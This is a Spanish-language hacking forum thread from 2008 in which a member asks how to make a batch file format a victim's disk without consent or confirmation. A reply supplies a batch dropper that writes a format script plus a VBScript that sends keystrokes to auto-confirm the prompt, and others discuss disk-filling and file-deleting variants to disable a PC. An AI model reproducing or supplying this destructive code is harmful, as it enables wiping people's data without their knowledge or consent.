Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Agosto 21, 2008, 01:52:41
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, The Shadow)  |  Tema: Formatear con batch? 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Formatear con batch?  (Leído 109 veces)
Dark-Hacker
Habitual
*****
Desconectado Desconectado

Mensajes: 202


Ver Perfil
« en: Agosto 17, 2008, 12:44:25 »

Alguien me podria decir como se hace esto sin concentimiento del usuario? es decir que al ejecutar el batch simplemente se formatee el disco sin ningun dialogo ni nada, gracias.

Código:
@echo off
format %homedrive%\ /f /q
exit

Eso sirve o pide confirmacion antes de proceguir?
Gracias por su tiempo
Saludos
En línea
nikecito
Colaborador
*****
Desconectado Desconectado

Mensajes: 425


Nikecito :: La maldad es buena >=)

nikecito@hotmail.com
Ver Perfil WWW
« Respuesta #1 en: Agosto 17, 2008, 10:03:59 »

pide confirmacion..
En línea



1101110  1101001  1101011  1100101  1111000  1101001  1110100  1101111
Dark-Hacker
Habitual
*****
Desconectado Desconectado

Mensajes: 202


Ver Perfil
« Respuesta #2 en: Agosto 17, 2008, 11:18:16 »

Y como hago para formatear sin confirmacion?
En línea
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 455


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #3 en: Agosto 17, 2008, 12:02:05 »

No se de una solucion 100% batch pero podriamos agregar algo de vbs, te voy a explicar como hacer para que el mismo codigo presione la tecla "S" y "ENTER" es decir, que cuando aparezca la pregunta de: Desea formatear su equipo? Si (S) No (N) el codigo en vbs precione en un segundo la tecla S y despues ENTER, pero primero vamos con un ejemplo mas simple:

Primero creamos un archivo batch que contenga lo siguiente:
Código:
  @echo off
echo Hola
pause
echo Chau
pause
exit
Lo guardas en el escritorio como funcion.bat

Ahora creamos un archivo vbs que contenga lo siguiente:
Código:
Sub delayedSendKeys(str)
WScript.Sleep 1000
WshShell.SendKeys str
End Sub
Dim WshShell, oFuncion
Set WshShell = CreateObject("WScript.Shell")
Set oFuncion = WshShell.Exec("funcion.bat")
WScript.Sleep 1000
Set ws = CreateObject("WScript.Shell")
ws.Run "funcion.bat"
delayedSendKeys "~"
Lo guardas en el escritorio como lo_que_sea.vbs

Entonces ejecutamos el archivo vbs y se ejecutara el archivo funcion.bat pero con una diferencia, ustedes veran esto:

Hola
Presione una tecla para continuar...
Chau
Presione una tecla para funcionar...


Se estaran preguntando por que aparece la linea Chau si ustedes no presionaron la tecla ENTER, es por que en la linea delayedSendKeys "~" del codigo vbs le dio la orden a la PC para que la tecla se "presione" automaticamente ~ = ENTER
Ahora modifiquen el archivo vbs y dejenlo asi:
Código:
Sub delayedSendKeys(str)
WScript.Sleep 1000
WshShell.SendKeys str
End Sub
Dim WshShell, oFuncion
Set WshShell = CreateObject("WScript.Shell")
Set oFuncion = WshShell.Exec("funcion.bat")
WScript.Sleep 1000
Set ws = CreateObject("WScript.Shell")
ws.Run "funcion.bat"
delayedSendKeys "~"
delayedSendKeys "~"

Ahora se presiona 2 veces la tecla ENTER...
Lo ejecutan y veran esto:

Hola
Presione una tecla para continuar...
Chau
Presione una tecla para funcionar...
Y DESPUES SE CIERRA


Esto es por que el codigo presiono nuevamente la tecla ENTER y se cerro el codigo Batch

Aca hay otro ejemplo mas complejo:

En un code batch pone esto:
Código:
@echo off
echo hola
pause
echo Desea proseguir? s o n
set /p op=
if %op%==s goto a
if %op%==n goto b
:a
echo Se autopresiono la tecla s
pause
exit
:b Se autopresiono la telca n
pause
exit
Lo guardas como a.bat

Y en un code vbs pone esto:
Código:
Sub delayedSendKeys(str)
WScript.Sleep 1000
WshShell.SendKeys str
End Sub
Dim WshShell, oA
Set WshShell = CreateObject("WScript.Shell")
Set oA = WshShell.Exec("a.bat")
WScript.Sleep 1000
Set ws = CreateObject("WScript.Shell")
ws.Run "a.bat"
delayedSendKeys "~"
delayedSendKeys "s"
delayedSendKeys "~"

Basta ejecutarlo para ver que hace...

bueno espero que me ayas entendido ahora te dejo un code para formatear sin confirmacion que espero que entiendas que con ejecutarlo la PC se formatea presionando la tecla S y despues ENTER

Código:
  @echo off
echo    @echo off>>formatear.bat
echo format %homedrive%\ /f /q>>formatear.bat
echo Sub delayedSendKeys(str) >> archivo.vbs
echo WScript.Sleep 1000 >> archivo.vbs
echo WshShell.SendKeys str >> archivo.vbs
echo End Sub >> archivo.vbs
echo Dim WshShell, oFormatear >> archivo.vbs
echo Set WshShell = CreateObject("WScript.Shell") >> archivo.vbs
echo Set oFormatear = WshShell.Exec("formatear.bat") >> archivo.vbs
echo WScript.Sleep 1000 >> archivo.vbs
echo Set ws = CreateObject("WScript.Shell") >> archivo.vbs
echo ws.Run "Formatear.bat" >> archivo.vbs
echo delayedSendKeys "S" >> archivo.vbs
echo delayedSendKeys "~" >> archivo.vbs
start archivo.vbs

Saludos


« Última modificación: Agosto 17, 2008, 12:27:04 por Klez.H » En línea





It´s Me, Smart ツ
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1802


Jhoannita I <3 U ... ;)

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #4 en: Agosto 17, 2008, 03:15:04 »

Muy bueno el code Klez.H...

ahora, creo que por ahi habian posteado uina forma, pero no estoy seguro...con eso de que el CMD pregunta y|n y que uno le da la opcion por defecto...

o podriamos nosotros intentar algo...xD xD, inventarlo....algo se nos ocurrira....

Saludos.
En línea

℮0F-R00t [ Vacaciones ]
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2388


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #5 en: Agosto 17, 2008, 03:22:28 »

si, hay un forma, de formatear sin preguntar, el problema  esk solo es valido para sistemas inferiores al win98 incluido este xD asik la unika forma en bath seria asi como hizo klez k por cierto muy bueno, o utilizando debug....aunk lo veo mas facil como lo hizo klez
En línea

Dark-Hacker
Habitual
*****
Desconectado Desconectado

Mensajes: 202


Ver Perfil
« Respuesta #6 en: Agosto 17, 2008, 04:54:07 »

 Grin Perfecto, me encanta, me encanta, muchas gracias Klez.H al fin un code para formatear sin preguntar Grin Te felicito, justo lo que queria! Cheesy

saludos Afro
En línea
Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 455


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #7 en: Agosto 17, 2008, 08:40:26 »

Grin Perfecto, me encanta, me encanta, muchas gracias Klez.H al fin un code para formatear sin preguntar Grin Te felicito, justo lo que queria! Cheesy

saludos Afro

Me alegro que te haya servido y que les guste Smiley


Muy bueno el code Klez.H...

ahora, creo que por ahi habian posteado uina forma, pero no estoy seguro...con eso de que el CMD pregunta y|n y que uno le da la opcion por defecto...

o podriamos nosotros intentar algo...xD xD, inventarlo....algo se nos ocurrira....

Saludos.

Seria un placer trabajar con vos xD

Saludos
En línea





The Shadow
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 801


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #8 en: Agosto 18, 2008, 05:53:02 »

Lamento decirles que trabajaran en vano si piensan que pueden formatear un HD y mas si piensan hacerlo con batch.

Para formatear un disco duro hay que tomar muchas cosas en cuenta, primero y antes de todo, el batch no tiene acceso a un nivel tan bajo como el q se requiere para formatear un hd (excepto por el debug, hay ya tenemos acceso a usar asm), para poder formatear un disco duro, este debe desmontarse, cosa que no se puede hacer mientras se esta en una sesion de win, esto quiere decir que el proceso para formatear tendria que llevarse a cabo antes de que se carge todo el SO, esto implica modificar la MBR y por consiguiente tener acceso a ella, cosa que el ficheros .com no tienen el acceso para tocar.

Lo mas que se podria hacer en batch es 1. encapsular otro programa, 2. hacer lo q hizo Azra en un duelo por hay que seria simular un format usando la int 13h del DOS, cosa que podra causar desestabilidad pero no un formateo de la unidad o 3. buscar otra interesante idea a desarrollar

Saludos!
En línea





Reglamento del Foro     Linux  Registered User #473016
It´s Me, Smart ツ
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1802


Jhoannita I <3 U ... ;)

smartgenius@el-hacker.org
Ver Perfil WWW
« Respuesta #9 en: Agosto 18, 2008, 06:04:08 »

Bueno, no necesariamente formatear.... podemos cgarnos en todos los ficheros que tengan permisos libres, y asi en cualquier momento la pC deja de funcionar....

Ya hice un codigo capaz de llenar el disco en menos de 1/2 hora, asi que uno que busque y se tire los archivos o los borre no debe ser dificil...


Lo que dices es que el code de Klez.H tampoco serviria ??

Saludos.
En línea

Klez.H
Colaborador
*****
Desconectado Desconectado

Mensajes: 455


Dios es sofisticado, pero no malévolo.


Ver Perfil Email
« Respuesta #10 en: Agosto 19, 2008, 01:42:45 »

Lo voy a probar en una PC virtual a ver que pasa....

Saludos.
En línea





℮0F-R00t [ Vacaciones ]
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2388


EndOfFile................. CodeBuser..............


Ver Perfil
« Respuesta #11 en: Agosto 19, 2008, 01:48:10 »

Lamento decirles que trabajaran en vano si piensan que pueden formatear un HD y mas si piensan hacerlo con batch.

Para formatear un disco duro hay que tomar muchas cosas en cuenta, primero y antes de todo, el batch no tiene acceso a un nivel tan bajo como el q se requiere para formatear un hd (excepto por el debug, hay ya tenemos acceso a usar asm), para poder formatear un disco duro, este debe desmontarse, cosa que no se puede hacer mientras se esta en una sesion de win, esto quiere decir que el proceso para formatear tendria que llevarse a cabo antes de que se carge todo el SO, esto implica modificar la MBR y por consiguiente tener acceso a ella, cosa que el ficheros .com no tienen el acceso para tocar.

Lo mas que se podria hacer en batch es 1. encapsular otro programa, 2. hacer lo q hizo Azra en un duelo por hay que seria simular un format usando la int 13h del DOS, cosa que podra causar desestabilidad pero no un formateo de la unidad o 3. buscar otra interesante idea a desarrollar

Saludos!

ese code si formatearia una unidad, ya se k la misma del windows desde el k se esta ejecutando no se formateria, pero si tienes una particion y en este code introduces esa particion dicha particion si se formatearia aunk lo k sobraria en el kode k puso klez en el format es /f pues eso solo es para disketes
En línea

Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, The Shadow)  |  Tema: Formatear con batch? « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC